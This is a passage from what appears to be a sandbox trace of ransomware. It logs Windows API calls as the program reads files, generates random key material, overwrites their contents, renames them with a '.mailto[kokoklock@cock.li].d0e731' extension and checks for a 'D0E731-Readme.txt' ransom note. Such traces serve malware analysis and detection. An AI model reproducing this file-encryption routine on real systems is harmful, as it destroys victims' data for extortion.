Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.698] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9e6fa58, lpOverlapped=0x0 | out: lpBuffer=0x2fe4668*, lpNumberOfBytesWritten=0x9e6fa58*=0x8, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x528, lpBuffer=0x9e6fa70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9e6fa58, lpOverlapped=0x0 | out: lpBuffer=0x9e6fa70*, lpNumberOfBytesWritten=0x9e6fa58*=0x4, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9e6fa58, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9e6fa58*=0x4, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9e6fa58, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9e6fa58*=0x6c, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9e6fa58, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0x9e6fa58*=0x20, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9e6fa58, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9e6fa58*=0x4, lpOverlapped=0x0) returned 1 [0166.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe46e0) returned 1 [0166.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4668) returned 1 [0166.698] CloseHandle (hObject=0x528) returned 1 [0166.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.698] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.699] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.699] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.699] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.700] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.700] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.700] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.700] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1040\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0166.700] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" [0166.700] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\d0e731-readme.txt")) returned 0x20 [0166.700] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.700] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cf78) returned 1 [0166.700] RtlExitUserThread (Status=0x1) Thread: id = 1630 os_tid = 0x46c [0166.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.707] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.707] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9eef8ec | out: lpFileSize=0x9eef8ec*=4446) returned 1 [0166.707] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x115a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.708] ReadFile (in: hFile=0x528, lpBuffer=0x9eef8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9eef8bc, lpOverlapped=0x0 | out: lpBuffer=0x9eef8c0*, lpNumberOfBytesRead=0x9eef8bc*=0x4, lpOverlapped=0x0) returned 1 [0166.709] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4668 [0166.709] NtQuerySystemTime (in: CurrentTime=0x9eef898 | out: CurrentTime=0x9eef898*=132121213240167095) returned 0x0 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xede7b91e [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x92717a58 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x96e44a9e [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x7b102999 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x5e33b78c [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x3b89485f [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x4223b093 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x6b55ed93 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x9fe23ff5 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x64480cb6 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xf720f213 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x56411e7e [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xc5613e24 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x75564dd7 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xae60f127 [0166.709] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x82c2df78 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x551bd926 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xc280ef8b [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x7d197d55 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xce006ad3 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x7e7c5f59 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xade89f85 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xa96f5fbb [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xec8fdc53 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x337b57a0 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xc14d0b15 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xd29b37e9 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x1730f850 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x4fcbdf04 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0x9756c99 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xd825cb17 [0166.710] RtlRandom (in: Seed=0x9eef8a4 | out: Seed=0x9eef8a4) returned 0xb2e57302 [0166.719] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46e0 [0166.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4690 [0166.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46b8 [0166.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe46b8) returned 1 [0166.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.721] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x115e, lpNumberOfBytesRead=0x9eef898, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9eef898*=0x115e, lpOverlapped=0x0) returned 1 [0166.722] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9eef860 | out: lpNewFilePointer=0x0) returned 1 [0166.722] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x115e, lpNumberOfBytesWritten=0x9eef894, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9eef894*=0x115e, lpOverlapped=0x0) returned 1 [0166.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.722] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.722] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9eef890, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0x9eef890*=0x20, lpOverlapped=0x0) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.723] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4690*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9eef8bc, lpOverlapped=0x0 | out: lpBuffer=0x2fe4690*, lpNumberOfBytesWritten=0x9eef8bc*=0x8, lpOverlapped=0x0) returned 1 [0166.723] WriteFile (in: hFile=0x528, lpBuffer=0x9eef8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9eef8bc, lpOverlapped=0x0 | out: lpBuffer=0x9eef8d4*, lpNumberOfBytesWritten=0x9eef8bc*=0x4, lpOverlapped=0x0) returned 1 [0166.723] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9eef8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9eef8bc*=0x4, lpOverlapped=0x0) returned 1 [0166.723] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9eef8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9eef8bc*=0x6c, lpOverlapped=0x0) returned 1 [0166.723] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9eef8bc, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0x9eef8bc*=0x20, lpOverlapped=0x0) returned 1 [0166.723] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9eef8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9eef8bc*=0x4, lpOverlapped=0x0) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe46e0) returned 1 [0166.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4690) returned 1 [0166.723] CloseHandle (hObject=0x528) returned 1 [0166.724] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.724] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.724] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.724] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.724] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.725] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.725] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1038\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0166.725] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" [0166.725] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\d0e731-readme.txt")) returned 0x20 [0166.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4850) returned 1 [0166.725] RtlExitUserThread (Status=0x1) Thread: id = 1631 os_tid = 0x480 [0166.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.727] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.727] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.727] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9f6fd80 | out: lpFileSize=0x9f6fd80*=86634) returned 1 [0166.727] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x15266, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.727] ReadFile (in: hFile=0x528, lpBuffer=0x9f6fd54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9f6fd50, lpOverlapped=0x0 | out: lpBuffer=0x9f6fd54*, lpNumberOfBytesRead=0x9f6fd50*=0x4, lpOverlapped=0x0) returned 1 [0166.728] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4690 [0166.729] NtQuerySystemTime (in: CurrentTime=0x9f6fd2c | out: CurrentTime=0x9f6fd2c*=132121213240479582) returned 0x0 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x3b7e8b58 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x6773f413 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x7fae12a4 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x92ecdbf8 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x3439723b [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x4143ea0a [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x4391452f [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xf2cdb34a [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xba2ea9f3 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xe3b19c66 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xa198ea3b [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x69e80ed2 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x9ea9e9bf [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x74b9f81b [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xb1126cb0 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x9a62e4d2 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xf6393699 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x49c71fd6 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xf12ed755 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x35708108 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x9dcc8235 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x9c28be82 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x8c9c9e9b [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xcaac55aa [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x56f1ad8 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x76ef390f [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xc386bbd3 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x55c8e0f6 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x672054f [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0x3677be8c [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xb6503cb7 [0166.729] RtlRandom (in: Seed=0x9f6fd38 | out: Seed=0x9f6fd38) returned 0xf9115fc8 [0166.738] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46e0 [0166.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46b8 [0166.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.740] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.740] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9f6fd04, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9f6fd04*=0x4096, lpOverlapped=0x0) returned 1 [0166.743] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.743] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.743] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.743] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4708 [0166.743] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4708) returned 1 [0166.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.744] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9f6fd04, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9f6fd04*=0x4096, lpOverlapped=0x0) returned 1 [0166.745] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.745] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1526a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.745] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9f6fd3c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0x9f6fd3c*=0x20, lpOverlapped=0x0) returned 1 [0166.746] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.746] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.746] WriteFile (in: hFile=0x528, lpBuffer=0x2fe46b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9f6fd50, lpOverlapped=0x0 | out: lpBuffer=0x2fe46b8*, lpNumberOfBytesWritten=0x9f6fd50*=0x8, lpOverlapped=0x0) returned 1 [0166.746] WriteFile (in: hFile=0x528, lpBuffer=0x9f6fd68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9f6fd50, lpOverlapped=0x0 | out: lpBuffer=0x9f6fd68*, lpNumberOfBytesWritten=0x9f6fd50*=0x4, lpOverlapped=0x0) returned 1 [0166.746] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9f6fd50, lpOverlapped=0x0 | out: 